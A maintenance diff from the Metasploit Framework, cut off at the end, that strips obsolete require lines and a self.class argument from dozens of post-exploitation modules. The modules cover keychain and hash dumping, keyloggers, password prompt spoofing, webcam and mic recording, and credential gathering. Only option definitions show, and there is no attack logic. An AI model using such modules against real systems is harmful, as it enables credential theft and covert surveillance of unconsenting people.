b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 6e46582d28..cbcb32c6cd 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -38,7 +35,7 @@ class MetasploitModule < Msf::Post register_options( [ OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']), - ], self.class) + ]) end # diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index 93b173aea9..04d972d766 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::OSX::System @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Post OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]), OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) - ], self.class) + ]) end def list_keychains diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index 5266ef606a..fa5b02e9e5 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 7d169c573a..720e41bd41 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' require 'rexml/document' diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index fd0474bd38..0bcb11a7c6 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -55,7 +52,7 @@ class MetasploitModule < Msf::Post ] ), OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60]) - ], self.class) + ]) end # def cmd_exec(str, args) diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index f3ee160251..7cc361fe46 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Post diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index b6751b6d7e..418b24dd91 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post # list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored. @@ -46,7 +43,7 @@ class MetasploitModule < Msf::Post [ OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS]) - ], self.class) + ]) register_advanced_options( [ diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 85f702f928..1543ade9de 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'shellwords' class MetasploitModule < Msf::Post @@ -42,7 +41,7 @@ class MetasploitModule < Msf::Post ), OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]), OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5]) - ], self.class) + ]) end diff --git a/modules/post/osx/manage/vpn.rb b/modules/post/osx/manage/vpn.rb index c7d095ba0b..2eea9cb271 100644 --- a/modules/post/osx/manage/vpn.rb +++ b/modules/post/osx/manage/vpn.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -39,7 +36,7 @@ class MetasploitModule < Msf::Post OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) - ], self.class) + ]) end diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 5b8f9be4f1..18763d2c72 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'shellwords' class MetasploitModule < Msf::Post @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Post ), OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]), OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5]) - ], self.class) + ]) end def run diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index cf2796a0c7..26e1ae0cf5 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 3e7857ba1a..9e9c758159 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index 322d754938..725d1f4e98 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index 94f85bb769..8c18997385 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 41ba5bf373..af5ee3f05a 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -40,13 +37,13 @@ class MetasploitModule < Msf::Post OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID', 'explorer', ['explorer','winlogon','pid']]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]), OptEnum.new('TimeOutAction', [true, 'Action to take when session response timeout occurs.', 'wait', ['wait','exit']]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index 366c1c7721..c045f67cec 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -31,7 +28,7 @@ class MetasploitModule < Msf::Post OptInt.new('LOCKTIME',[true, 'Amount of idle time before lockout',300]), OptInt.new('PID',[false,'Target PID, only needed if multiple winlogon.exe instances exist',nil]), OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false]) - ], self.class) + ]) end def check_admin diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb index f77a636064..d82e1958a6 100644 --- a/modules/post/windows/escalate/droplnk.rb +++ b/modules/post/windows/escalate/droplnk.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -27,7 +24,7 @@ class MetasploitModule < Msf::Post OptString.new("LNKFILENAME", [ true, "Shortcut's filename", "Words.lnk"]), OptString.new("SHARENAME", [ true, "Share name on LHOST", "share1"]), OptString.new("ICONFILENAME", [ true, "File name on LHOST's share", "icon.png"]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index de8ba9d330..d15a18852f 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'metasm' @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post register_options([ OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0]) - ], self.class) + ]) end diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb index 13fdfeb94e..413cc77d72 100644 --- a/modules/post/windows/escalate/golden_ticket.rb +++ b/modules/post/windows/escalate/golden_ticket.rb @@ -1,4 +1,3 @@ -require 'msf/core' require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/kiwi' require 'msf/core/post/windows/error' @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Post OptString.new('Domain SID', [false, 'Domain SID']), OptInt.new('ID', [false, 'Target User ID']), OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 4aadfeb3fe..837d9c984e 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'metasm' diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index f4b024b38f..8231732f21 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'metasm' @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post register_options([ OptBool.new('REVERT', [false, "Enable this option to revert the in-memory patch and enable locking again", false]) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/ad_to_sqlite.rb b/modules/post/windows/gather/ad_to_sqlite.rb index 5f84cad615..739dca74cc 100644 --- a/modules/post/windows/gather/ad_to_sqlite.rb +++ b/modules/post/windows/gather/ad_to_sqlite.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'sqlite3' class MetasploitModule < Msf::Post @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Post OptBool.new('SHOW_USERGROUPS', [true, 'Show the user/group membership in a greppable form to the console.', false]), OptBool.new('SHOW_COMPUTERS', [true, 'Show basic computer information in a greppable form to the console.', false]), OptInt.new('THREADS', [true, 'Number of threads to spawn to gather membership of each group.', 20]) - ], self.class) + ]) end # Entry point diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index 101967b452..ca22142376 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post OptString.new('RHOSTS', [true, 'The target address range or CIDR identifier', nil]), OptInt.new('THREADS', [false, 'The number of concurrent threads', 10]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index 767fd5660c..30a6d7741a 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Post register_options([ OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]), - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index a3841f3e74..4b9abff493 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post [ OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]), OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index d4899ba7f1..1a75c693af 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index 9499d21457..ed613def78 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/avira_password.rb b/modules/post/windows/gather/credentials/avira_password.rb index 9bd64e1c55..74896d892f 100644 --- a/modules/post/windows/gather/credentials/avira_password.rb +++ b/modules/post/windows/gather/credentials/avira_password.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 7164765493..9ac0a30b38 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 90bc27450f..abd859af08 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index 8563952718..64dba9515a 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index a22de5fa3b..44e9001cde 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' require 'metasploit/framework/ntds/parser' diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 19a0c1c337..c41ffddc34 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index a0b9658d85..ac77950ff8 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index f33149ee5e..b2d29b7384 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Post OptBool.new('STORE_DB', [true, 'Store file in loot.', false]), OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))']) - ], self.class) + ]) deregister_options('FIELDS') end diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index a7d4f67fe3..d99814a6cc 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb index f88bed4c74..4b79e5da02 100644 --- a/modules/post/windows/gather/credentials/epo_sql.rb +++ b/modules/post/windows/gather/credentials/epo_sql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'net/dns/resolver' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index c991528a91..6b927bc4b9 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Post @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Post register_options([ OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM - ], self.class) + ]) end diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 8fe7912e4b..7f8ae3d3b5 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index b5ab541420..41ddff8646 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 8fec8928ec..691999ddd2 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 548591ceed..dea1d414b6 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' require 'rex/parser/group_policy_preferences' @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Post register_options([ OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), - OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) + OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])]) end def run diff --git a/modules/post/windows/gather/credentials/heidisql.rb b/modules/post/windows/gather/credentials/heidisql.rb index 2b9d262719..6f81d36414 100644 --- a/modules/post/windows/gather/credentials/heidisql.rb +++ b/modules/post/windows/gather/credentials/heidisql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index ac0fcfc28b..ad4358434c 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index 29d77fadac..994e1c5557 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -38,7 +37,7 @@ class MetasploitModule < Msf::Post [ OptString.new('IMAILUSER', [false, 'iMail username', '']), OptString.new('IMAILDOMAIN', [false, 'iMail Domain', '']) - ], self.class) + ]) end def download_info(imail_user='', imail_domain='') diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index 06a6785cb3..d8aff1f4a1 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -7,7 +7,6 @@ -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb index 8756884945..016b799362 100644 --- a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb +++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb index d4c93d060e..588664a8ab 100644 --- a/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb +++ b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'base64' class MetasploitModule < Msf::Post @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Post register_options( [OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index 39d9a7ea24..ceb7c20ad7 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index 74ae99c6be..a039fd0fc1 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' -require 'rex' require 'rexml/document' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb index 038fa5b491..4fa8b449de 100644 --- a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb +++ b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' require 'msf/core/post/windows/mssql' @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index 470736e4a5..fed038618f 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index 2b7f673fc4..cb33c7ae22 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 1d4252765c..e2bd3dcae9 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'openssl' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 286b5332ad..e6e726ea7f 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' require 'openssl' diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb index e5efc2ace6..5677f631dc 100644 --- a/modules/post/windows/gather/credentials/rdc_manager_creds.rb +++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rexml/document' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb index 06e9f01a68..2b015689a5 100644 --- a/modules/post/windows/gather/credentials/skype.rb +++ b/modules/post/windows/gather/credentials/skype.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 